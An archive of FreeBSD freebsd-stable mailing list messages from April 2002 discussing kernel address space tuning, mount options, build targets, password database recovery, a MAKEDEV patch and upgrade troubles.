From owner-freebsd-stable Sun Apr 21 0:39:33 2002 Delivered-To: freebsd-stable@freebsd.org Received: from avocet.prod.itd.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by hub.freebsd.org (Postfix) with ESMTP id 385AA37B419; Sun, 21 Apr 2002 00:39:29 -0700 (PDT) Received: from pool0021.cvx21-bradley.dialup.earthlink.net ([209.179.192.21] helo=mindspring.com) by avocet.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 16zBwV-0006zJ-00; Sun, 21 Apr 2002 00:39:27 -0700 Message-ID: <3CC26C91.C81002ED@mindspring.com> Date: Sun, 21 Apr 2002 00:38:57 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "Marc G. Fournier" Cc: freebsd-current@freebsd.org, freebsd-stable@freebsd.org Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? References: <20020421000839.A1721-100000@mail1.hub.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "Marc G. Fournier" wrote: > > You have more memory than you can allocate kernel memory to > > provide page table entries for. > > > > The only solution is to increase your kernel virtual address > > space size to accomodate the page mappings. > > > > How to do this varies widely by the version of FreeBSD you are > > using, and, unless you read "NOTES" and are running a recent > > -current, is not incredibly well documented, and requires an > > understanding of how the virtual address space is laid out and > > managed (which is also not well documented anywhere). > > Ya, this is the roadblock I'm hitting :( I'm running 4.5-STABLE here, as > of this afternoon ... thoughts/suggestiosn based on that? Read the handbook as it existed for 4.5-STABLE, and read NOTES. It (sorta) tells you how to increase your KVA size. > Also, is there somethign that I can run to monitor this, similar to > running netstat -m to watch nmbclusters? DDB? 8-) 8-). No, there's no stats collected on this stuff, because it's a pretty obvious and straight-forward thing: you have to have a KVA space large enough that, once you subtract out 4K for each 4M of physical memory and swap (max 4G total for both), you end up with memory left over for the kernel to use, and your limits are such that the you don't run out of PTEs before you run out of mbufs (or whatever you plan on allocating). -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 0:42:35 2002 Delivered-To: freebsd-stable@freebsd.org Received: from rtp.tfd.com (rtp.tfd.com [209.170.141.211]) by hub.freebsd.org (Postfix) with ESMTP id 785B637B405 for ; Sun, 21 Apr 2002 00:42:20 -0700 (PDT) Received: from chapel-hill.tfd.com (chapel-hill.tfd.com [10.20.0.40]) by rtp.tfd.com (8.9.3/8.9.3) with ESMTP id DAA00423 for ; Sun, 21 Apr 2002 03:42:12 -0400 (EDT) Received: from chapel-hill.tfd.com (localhost [127.0.0.1]) by chapel-hill.tfd.com (8.12.3/8.12.3) with ESMTP id g3L5nlNQ000719 for ; Sun, 21 Apr 2002 01:49:47 -0400 (EDT) (envelope-from kent@chapel-hill.tfd.com) Received: (from kent@localhost) by chapel-hill.tfd.com (8.12.3/8.12.3/Submit) id g3L5nidY000717 for stable@freebsd.org; Sun, 21 Apr 2002 01:49:44 -0400 (EDT) Date: Sun, 21 Apr 2002 01:49:44 -0400 (EDT) From: Kent Hauser Message-Id: <200204210549.g3L5nidY000717@chapel-hill.tfd.com> To: stable@freebsd.org Subject: filesystem async option Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG What happened to the "async" option on local filesystems? Until recently, I could remount my /usr/ filesystem async (eg "mount -u -o async /usr") and have my cvs resync/build world complete quickly. Now, it doesn't seem to speed up & mount -p doesn't show the option. I've seen no traffic on this. Any thoughts? Kent To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 0:53:34 2002 Delivered-To: freebsd-stable@freebsd.org Received: from rwcrmhc54.attbi.com (rwcrmhc54.attbi.com [216.148.227.87]) by hub.freebsd.org (Postfix) with ESMTP id A165B37B416 for ; Sun, 21 Apr 2002 00:53:30 -0700 (PDT) Received: from blossom.cjclark.org ([12.234.91.48]) by rwcrmhc54.attbi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020421075330.OPXK1102.rwcrmhc54.attbi.com@blossom.cjclark.org>; Sun, 21 Apr 2002 07:53:30 +0000 Received: (from cjc@localhost) by blossom.cjclark.org (8.11.6/8.11.6) id g3L7rMv78816; Sun, 21 Apr 2002 00:53:22 -0700 (PDT) (envelope-from cjc) Date: Sun, 21 Apr 2002 00:53:22 -0700 From: "Crist J. Clark" To: "Jason C. Wells" Cc: freebsd-stable@FreeBSD.ORG Subject: Re: don't know how to make reinstall Message-ID: <20020421005322.H76898@blossom.cjclark.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from jcwells@highperformance.net on Sat, Apr 20, 2002 at 11:37:45PM -0700 X-URL: http://people.freebsd.org/~cjc/ Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, Apr 20, 2002 at 11:37:45PM -0700, Jason C. Wells wrote: > I must just have a case of the "stupids" tonight. Nothing is working for > me, though I think I am doing the right thing. > > >From Makefile.inc1: > > # reinstall > # > # If you have a build server, you can NFS mount the source > # and obj directories and do a 'make reinstall' on the *client* to > # install new binaries from the most recent server build. > > >From the client: > > client# make reinstall > make: don't know how to make reinstall. Stop > > Is this buggered? The 'reinstall' target is right below the comment you quoted. You do have /usr/src mounted, and you are in /usr/src when you executed the command? (Anyway, you might as use 'installworld.' It's just 'reinstall' with an extra step where some of the current world's binaries are saved.) -- Crist J. Clark | cjclark@alum.mit.edu | cjclark@jhu.edu http://people.freebsd.org/~cjc/ | cjc@freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 2: 5:44 2002 Delivered-To: freebsd-stable@freebsd.org Received: from maild.telia.com (maild.telia.com [194.22.190.101]) by hub.freebsd.org (Postfix) with ESMTP id C47BE37B405 for ; Sun, 21 Apr 2002 02:05:37 -0700 (PDT) Received: from d1o913.telia.com (d1o913.telia.com [195.252.44.241]) by maild.telia.com (8.11.6/8.11.6) with ESMTP id g3L95ad11274 for ; Sun, 21 Apr 2002 11:05:36 +0200 (CEST) Received: from falcon.midgard.homeip.net (h53n2fls20o913.telia.com [212.181.163.53]) by d1o913.telia.com (8.8.8/8.8.8) with SMTP id LAA08181 for ; Sun, 21 Apr 2002 11:05:32 +0200 (CEST) Received: (qmail 15318 invoked by uid 1001); 21 Apr 2002 09:05:26 -0000 Date: Sun, 21 Apr 2002 11:05:24 +0200 From: Erik Trulsson To: "Jason C. Wells" Cc: FreeBSD-stable Subject: Re: make.conf confusing verbage Message-ID: <20020421090523.GA10226@student.uu.se> Mail-Followup-To: "Jason C. Wells" , FreeBSD-stable References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, Apr 20, 2002 at 10:49:42PM -0700, Jason C. Wells wrote: > From /etc/defaults/make.conf: > > #To build sys/modules when building the world (our old way of doing things > #MODULES_WITH_WORLD=true # do not build modules when building kernel > > Does this cause us to "not build modules" as the second comment says? > > I desire to NOT build modules. Setting MODULES_WITH_WORLD=true will cause modules to be built when doing a 'make buildworld' instead of when doing a 'make buildkernel'. So both comments are correct. Modules will not be built when building a kernel, but they will be built when building the world. (The default behaviour nowadays is to build the modules at the same time as building the kernel.) -- Erik Trulsson ertr1013@student.uu.se To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 2: 7:29 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mired.org (dsl-64-192-6-133.telocity.com [64.192.6.133]) by hub.freebsd.org (Postfix) with SMTP id 1F2DA37B404 for ; Sun, 21 Apr 2002 02:07:11 -0700 (PDT) Received: (qmail 26664 invoked by uid 100); 21 Apr 2002 09:07:07 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15554.33083.663291.470263@guru.mired.org> Date: Sun, 21 Apr 2002 04:07:07 -0500 To: Kent Hauser Cc: stable@freebsd.org Subject: Re: filesystem async option In-Reply-To: <200204210549.g3L5nidY000717@chapel-hill.tfd.com> References: <200204210549.g3L5nidY000717@chapel-hill.tfd.com> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ From: Mike Meyer X-Delivery-Agent: TMDA/0.51 (Python 2.2 on FreeBSD/i386) Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In <200204210549.g3L5nidY000717@chapel-hill.tfd.com>, Kent Hauser typed: > What happened to the "async" option on local filesystems? > Until recently, I could remount my /usr/ filesystem async > (eg "mount -u -o async /usr") and have my cvs resync/build world > complete quickly. > > Now, it doesn't seem to speed up & mount -p doesn't show the option. > I've seen no traffic on this. Any thoughts? Did you enable softupdates on those file systems? If you did, then the async flag is ignored. http://www.mired.org/home/mwm/ Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 2:51:15 2002 Delivered-To: freebsd-stable@freebsd.org Received: from web21108.mail.yahoo.com (web21108.mail.yahoo.com [216.136.227.110]) by hub.freebsd.org (Postfix) with SMTP id 8153937B400 for ; Sun, 21 Apr 2002 02:51:10 -0700 (PDT) Message-ID: <20020421095110.86569.qmail@web21108.mail.yahoo.com> Received: from [209.8.72.254] by web21108.mail.yahoo.com via HTTP; Sun, 21 Apr 2002 02:51:10 PDT Date: Sun, 21 Apr 2002 02:51:10 -0700 (PDT) From: Henry smith Subject: password database recover? To: freebsd-stable@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, My password database is mess up. I start the server using single user, but I can't change the root password. #passwd passwd: unknown user root #passwd test pwd_mkdb: /etc/pwd.db.tmp: Inappropriate file type or format. Anybody know how to resolve this problem? Thank you. __________________________________________________ Do You Yahoo!? Yahoo! Games - play chess, backgammon, pool and more http://games.yahoo.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 3: 3:10 2002 Delivered-To: freebsd-stable@freebsd.org Received: from herbelot.dyndns.org (d013.dhcp212-198-27.noos.fr [212.198.27.13]) by hub.freebsd.org (Postfix) with ESMTP id A878237B400 for ; Sun, 21 Apr 2002 03:03:06 -0700 (PDT) Received: from herbelot.com (tulipe.herbelot.nom [192.168.1.5]) by herbelot.dyndns.org (8.9.3/8.9.3) with ESMTP id MAA30424; Sun, 21 Apr 2002 12:03:01 +0200 (CEST) (envelope-from thierry@herbelot.com) Message-ID: <3CC28E54.9ADDE6@herbelot.com> Date: Sun, 21 Apr 2002 12:03:00 +0200 From: Thierry Herbelot X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.2 i386) X-Accept-Language: en MIME-Version: 1.0 To: Henry smith Cc: freebsd-stable@FreeBSD.ORG Subject: Re: password database recover? References: <20020421095110.86569.qmail@web21108.mail.yahoo.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, if you have installed the sources, you can get a "virgin" master.passwd file from : /usr/src/etc/master.passwd can you "ls /etc" to see which files are missing ? TfH PS : the same file is also on the second installation CD (along with a full /etc directory) Henry smith wrote: > > Hi, > > My password database is mess up. I start the server > using single user, but I can't change the root > password. > > #passwd > passwd: unknown user root > #passwd test > pwd_mkdb: /etc/pwd.db.tmp: Inappropriate file type or > format. > > Anybody know how to resolve this problem? > > Thank you. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 5:16:18 2002 Delivered-To: freebsd-stable@freebsd.org Received: from savi1.estpak.ee (ld1.estpak.ee [194.126.101.98]) by hub.freebsd.org (Postfix) with ESMTP id 6322C37B400 for ; Sun, 21 Apr 2002 05:16:12 -0700 (PDT) Received: from myhakas.estpak.ee (myhakas.estpak.ee [194.126.115.54]) by savi1.estpak.ee (Postfix) with ESMTP id BB4C688853; Sun, 21 Apr 2002 15:16:05 +0300 (EEST) Received: from myhakas.estpak.ee (localhost [127.0.0.1]) by myhakas.estpak.ee (8.12.2/8.12.2) with ESMTP id g3LCGAC9018729; Sun, 21 Apr 2002 15:16:10 +0300 (EEST) (envelope-from vallo@myhakas.estpak.ee) Received: (from vallo@localhost) by myhakas.estpak.ee (8.12.2/8.12.2/Submit) id g3LCG98u018728; Sun, 21 Apr 2002 15:16:09 +0300 (EEST) Date: Sun, 21 Apr 2002 15:16:09 +0300 From: Vallo Kallaste To: "Marc G. Fournier" Cc: Terry Lambert , freebsd-stable@FreeBSD.ORG Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? Message-ID: <20020421121609.GA18597@myhakas.estpak.ee> Reply-To: kalts@estpak.ee References: <3CC2288B.94DDFBC1@mindspring.com> <20020421000839.A1721-100000@mail1.hub.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020421000839.A1721-100000@mail1.hub.org> User-Agent: Mutt/1.5.0i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Apr 21, 2002 at 12:10:01AM -0300, "Marc G. Fournier" wrote: > > You have more memory than you can allocate kernel memory to > > provide page table entries for. > > > > The only solution is to increase your kernel virtual address > > space size to accomodate the page mappings. > > > > How to do this varies widely by the version of FreeBSD you are > > using, and, unless you read "NOTES" and are running a recent > > -current, is not incredibly well documented, and requires an > > understanding of how the virtual address space is laid out and > > managed (which is also not well documented anywhere). > > Ya, this is the roadblock I'm hitting :( I'm running 4.5-STABLE here, as > of this afternoon ... thoughts/suggestiosn based on that? > > Also, is there somethign that I can run to monitor this, similar to > running netstat -m to watch nmbclusters? Marc, I seem to remember that David Greenman had some emails about issues similar to yours. Search mailing list archives for last two years or so for his name. I've yet to see any documentation for such issues but it seems that's some kind of way to make living. You're administering such boxes, you're supposed to know how to cope with those boxes, if you don't know, somebody more knowledgeable will do or take over.. that's how I see the whole issue about docs. We don't have so large boxes yet, but I'm probably facing the same problem soon. Nothing personal, just IMHO. -- Vallo Kallaste kalts@estpak.ee To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 5:29:55 2002 Delivered-To: freebsd-stable@freebsd.org Received: from perd1.estpak.ee (ld1.estpak.ee [194.126.101.98]) by hub.freebsd.org (Postfix) with ESMTP id A77C237B404; Sun, 21 Apr 2002 05:29:50 -0700 (PDT) Received: from myhakas.estpak.ee (myhakas.estpak.ee [194.126.115.54]) by perd1.estpak.ee (Postfix) with ESMTP id 574F888049; Sun, 21 Apr 2002 15:29:49 +0300 (EEST) Received: from myhakas.estpak.ee (localhost [127.0.0.1]) by myhakas.estpak.ee (8.12.2/8.12.2) with ESMTP id g3LCTnC9018809; Sun, 21 Apr 2002 15:29:49 +0300 (EEST) (envelope-from vallo@myhakas.estpak.ee) Received: (from vallo@localhost) by myhakas.estpak.ee (8.12.2/8.12.2/Submit) id g3LCTnmd018808; Sun, 21 Apr 2002 15:29:49 +0300 (EEST) Date: Sun, 21 Apr 2002 15:29:49 +0300 From: Vallo Kallaste To: Coleman Kane Cc: freebsd-stable@FreeBSD.ORG Subject: Re: RAID spanning over two 2400A's supported? Message-ID: <20020421122949.GB18597@myhakas.estpak.ee> Reply-To: kalts@estpak.ee References: <20020417075728.GA94009@myhakas.estpak.ee> <20020417091401.GC24693@arrakis.tamu.edu> <20020418181822.A32943@oolong.il.thewrittenword.com> <20020420194723.A8156@freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020420194723.A8156@freebsd.org> User-Agent: Mutt/1.5.0i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, Apr 20, 2002 at 07:47:23PM -0400, Coleman Kane wrote: > Interestingly enoguh, the 2400A RAID uses the asr driver and reports > itself as Adaptec SCSI RAID. This card works much differently than, say, > the HighPoint and Promise ATA RAID cards you can get. It has a i960 > controller on the card and basically reports itself as a SCSI controller to > the OS. They are nice cards, I set up a FreeBSD box with one of these and > four 80GB IBM GXP drives not tool ong ago. As I understand it, it's basically SCSI RAID controller with some special firmware which will translate subset of ATA commands to SCSI and vice versa. Something similar to ATAPI <-> CAM layer translation in FreeBSD we're all missing 8-) -- Vallo Kallaste kalts@estpak.ee To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 6:26:22 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mistral.imasy.or.jp (Q125060.ppp.dion.ne.jp [61.204.125.60]) by hub.freebsd.org (Postfix) with ESMTP id 6EC4E37B405; Sun, 21 Apr 2002 06:26:11 -0700 (PDT) Received: from mistral.imasy.or.jp (localhost [IPv6:::1]) by mistral.imasy.or.jp (8.12.3/8.12.3/mistral) with ESMTP id g3LDPxTq004209 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 21 Apr 2002 22:26:02 +0900 (JST) (envelope-from mistral@imasy.or.jp) Received: (from sarumaru@localhost) by mistral.imasy.or.jp (8.12.3/8.12.2/Submit) id g3LDPr94004208; Sun, 21 Apr 2002 22:25:53 +0900 (JST) (envelope-from sarumaru) From: mistral@imasy.or.jp (Yoshihiko SARUMARU) To: freebsd-stable@FreeBSD.org Cc: will@FreeBSD.org Subject: Entry for jogdial is missing in MAKEDEV Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII X-Mailer: mnews [version 1.22PL5] 2001-02/07(Wed) Date: Sun, 21 Apr 2002 22:25:53 +0900 Message-ID: <020421222553.M0100648@mistral.imasy.or.jp> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, Recently spic (Programmable I/O Controller) driver was MFC'ed, but I think /dev/MAKEDEV don't know information for /dev/jogdial yet. Could you MFC it before 4.6-RELEASE? I'm also waiting for spic(4) will be coming. I have to spent 5 minutes to learn '-t jogdial' is required for moused :) Thanks in advance, - Yoshihiko MFC patch from -current src/etc/MAKEDEV: --- /usr/src/etc/MAKEDEV Tue Apr 9 03:42:27 2002 +++ MAKEDEV Sun Apr 21 22:12:49 2002 @@ -60,6 +60,7 @@ # Pointing devices: # mse* Logitech and ATI Inport bus mouse # psm* PS/2 mouse +# jogdial Sony VAIO jog dial # sysmouse Mousesystems mouse emulator for syscons # # Time devices: @@ -317,7 +318,7 @@ sh MAKEDEV ttyd0 ttyd1 ttyd2 ttyd3 # cdev, serial tty sh MAKEDEV zs0 # big-Alpha serial tty sh MAKEDEV kbd0 kbd1 # cdev, keyboard - sh MAKEDEV mse0 psm0 sysmouse # cdev, mouse + sh MAKEDEV mse0 psm0 jogdial sysmouse # cdev, mouse sh MAKEDEV pcaudio speaker snd0 # cdev, noise sh MAKEDEV lpt0 lpt1 lpt2 # cdev, printer sh MAKEDEV ppi0 ppi1 ppi2 # cdev, parallel port @@ -357,7 +358,7 @@ sh MAKEDEV ttyd0 # cdev, serial tty sh MAKEDEV zs0 # big-Alpha serial tty sh MAKEDEV kbd0 # cdev, keyboard - sh MAKEDEV mse0 psm0 sysmouse # cdev, mouse + sh MAKEDEV mse0 psm0 jogdial sysmouse # cdev, mouse sh MAKEDEV lpt0 # cdev, printer sh MAKEDEV ppi0 # cdev, parallel port sh MAKEDEV iic0 # cdev, I2C device @@ -1693,6 +1694,10 @@ sysmouse) mknod sysmouse c 12 128 mknod consolectl c 12 255 + ;; + +jogdial) + mknod jogdial c 160 0 ;; snp?) -- Yoshihiko SARUMARU mail: mistral@imasy.or.jp web: http://www.imasy.or.jp/~mistral/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 9:37:29 2002 Delivered-To: freebsd-stable@freebsd.org Received: from leviathan.inethouston.net (leviathan.inethouston.net [66.64.12.249]) by hub.freebsd.org (Postfix) with ESMTP id 8A27037B41B for ; Sun, 21 Apr 2002 09:37:26 -0700 (PDT) Received: by leviathan.inethouston.net (Postfix, from userid 1001) id 9BB4B319C3B; Sun, 21 Apr 2002 11:37:31 -0500 (CDT) Date: Sun, 21 Apr 2002 11:37:31 -0500 From: "David W. Chapman Jr." To: Erik Trulsson Cc: "Jason C. Wells" , FreeBSD-stable Subject: Re: make.conf confusing verbage Message-ID: <20020421163731.GB11069@leviathan.inethouston.net> Reply-To: "David W. Chapman Jr." Mail-Followup-To: Erik Trulsson , "Jason C. Wells" , FreeBSD-stable References: <20020421090523.GA10226@student.uu.se> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020421090523.GA10226@student.uu.se> User-Agent: Mutt/1.3.28i X-Operating-System: FreeBSD 4.5-STABLE i386 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Apr 21, 2002 at 11:05:24AM +0200, Erik Trulsson wrote: > On Sat, Apr 20, 2002 at 10:49:42PM -0700, Jason C. Wells wrote: > > From /etc/defaults/make.conf: > > > > #To build sys/modules when building the world (our old way of doing things > > #MODULES_WITH_WORLD=true # do not build modules when building kernel > > > > Does this cause us to "not build modules" as the second comment says? > > > > I desire to NOT build modules. > > Setting MODULES_WITH_WORLD=true will cause modules to be built when > doing a 'make buildworld' instead of when doing a 'make buildkernel'. > > So both comments are correct. Modules will not be built when building a > kernel, but they will be built when building the world. > > (The default behaviour nowadays is to build the modules at the same > time as building the kernel.) > > You can use NOMODULES or is it NO_MODULES not to build any modules at all. -- David W. Chapman Jr. dwcjr@inethouston.net Raintree Network Services, Inc. dwcjr@freebsd.org FreeBSD Committer To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 10:26:45 2002 Delivered-To: freebsd-stable@freebsd.org Received: from fe010.worldonline.dk (fe010.worldonline.dk [212.54.64.195]) by hub.freebsd.org (Postfix) with SMTP id D09B437B400 for ; Sun, 21 Apr 2002 10:26:35 -0700 (PDT) Received: (qmail 20398 invoked by uid 0); 21 Apr 2002 17:26:34 -0000 Received: from 213.237.14.128.adsl.ho.worldonline.dk (HELO dpws) (213.237.14.128) by fe010.worldonline.dk with SMTP; 21 Apr 2002 17:26:34 -0000 Message-ID: <01fa01c1e959$a77af960$0301a8c0@dpws> From: "Dennis Pedersen" To: Cc: References: <010401c1e93b$d39b30f0$0301a8c0@dpws> <016701c1e945$a23dd120$0301a8c0@dpws> <20020421091928.A15029@troutmask.apl.washington.edu> Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting from rc.conf Date: Sun, 21 Apr 2002 19:26:20 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ----- Original Message ----- From: "Steve Kargl" To: "Dennis Pedersen" Cc: Sent: Sunday, April 21, 2002 6:19 PM Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting from rc.conf > On Sun, Apr 21, 2002 at 05:03:02PM +0200, Dennis Pedersen wrote: > > > > > Hi, > > > I have upgraded my box from 4,5-STABLE to 4,5-RELEASE according to > > > http://www.mostgraveconcern.com/freebsd/ > > > But after the upgrade my box does not read the setting from rc.conf > > > (ifconfig shows that the xl0 interface has no IP) > > > Anyone got a idea about what went wrong here? > > > > Darn, it was just tip of the iceberg! > > It seems there are a problem with /usr/libexec/ld-elf.so.1. > > The file is there (and there is a file called .old). Can i reinstall this > > file/fix it somehow? > > I would do the hole upgrade process over again but the ld-elf.so.1 error > > keeps comming up. Any good ideas? >You may have more success in getting your >problems resolved by sending mail to the proper >mailing list. Try freebsd-stable@FreeBSD.Org. Okai ill move it to the stabe list then :) > Now, what exactly did you do? I updated the system according to the howto http://www.mostgraveconcern.com/freebsd/mw.html And used the following sup file: *default host=mirror03.inet.tele.dk *default base=/usr *default prefix=/usr *default release=cvs *default tag=RELENG_4_5 *default delete use-rel-suffix src-all *default tag= .ports-all And here on i must say im lost. There is no way of going back to the stable branch (cvsup dosnt work anymore ;)) Regards, Dennis To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 10:31:22 2002 Delivered-To: freebsd-stable@freebsd.org Received: from rover.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 5A3A337B416 for ; Sun, 21 Apr 2002 10:31:14 -0700 (PDT) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.11.3/8.11.3) with ESMTP id g3LHVDH67696 for ; Sun, 21 Apr 2002 11:31:13 -0600 (MDT) (envelope-from imp@village.org) Received: from localhost (warner@rover2.village.org [10.0.0.1]) by harmony.village.org (8.11.6/8.11.6) with ESMTP id g3LHVCb14008 for ; Sun, 21 Apr 2002 11:31:13 -0600 (MDT) (envelope-from imp@village.org) Date: Sun, 21 Apr 2002 11:30:46 -0600 (MDT) Message-Id: <20020421.113046.131323596.imp@village.org> To: freebsd-stable@FreeBSD.ORG Subject: Re: /etc/defaults/rc.conf theory From: "M. Warner Losh" In-Reply-To: <200204200256.g3K2uOu10038@sheol.localdomain> References: <20020419225855.E7E575D05_ptavv.es.net@ns.sol.net> <20020419181021.X18267-100000_zoot.corp.yahoo.com@ns.sol.net> <200204200256.g3K2uOu10038@sheol.localdomain> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message: <200204200256.g3K2uOu10038@sheol.localdomain> hawkeyd@visi.com (D J Hawkey Jr) writes: : IMHO, you muddy, if not nullify, the abstract altogether. You are advocating : copying this file down to /etc, and editing it. There goes the concept of : "overriding the values contained in this file". Yes. /etc/defaults/rc.conf and /etc/rc.conf are separated because we wanted to change the defaults from time to time. I agree that copying /etc/defaults/rc.conf is a horrible idea. Down right stupid and should never be advocated. *EVER*. We had that paradigm in FreeBSD 1.x and 2.x and it *DID*NOT*WORK*. That's the whole reason that we separated things out into two files. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 10:56:20 2002 Delivered-To: freebsd-stable@freebsd.org Received: from smtp1.sentex.ca (smtp1.sentex.ca [199.212.134.4]) by hub.freebsd.org (Postfix) with ESMTP id 6334F37B404 for ; Sun, 21 Apr 2002 10:56:18 -0700 (PDT) Received: from jbrasil (pyroxene.sentex.ca [199.212.134.18]) by smtp1.sentex.ca (8.12.3/8.12.3) with SMTP id g3LHuHgt002560 for ; Sun, 21 Apr 2002 13:56:17 -0400 (EDT) (envelope-from jbrasil@sentex.net) Message-ID: <00ae01c1e95d$d3e86e20$502aa8c0@jbrasil> From: "James Brasil" To: Subject: subscribe Date: Sun, 21 Apr 2002 13:56:13 -0400 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 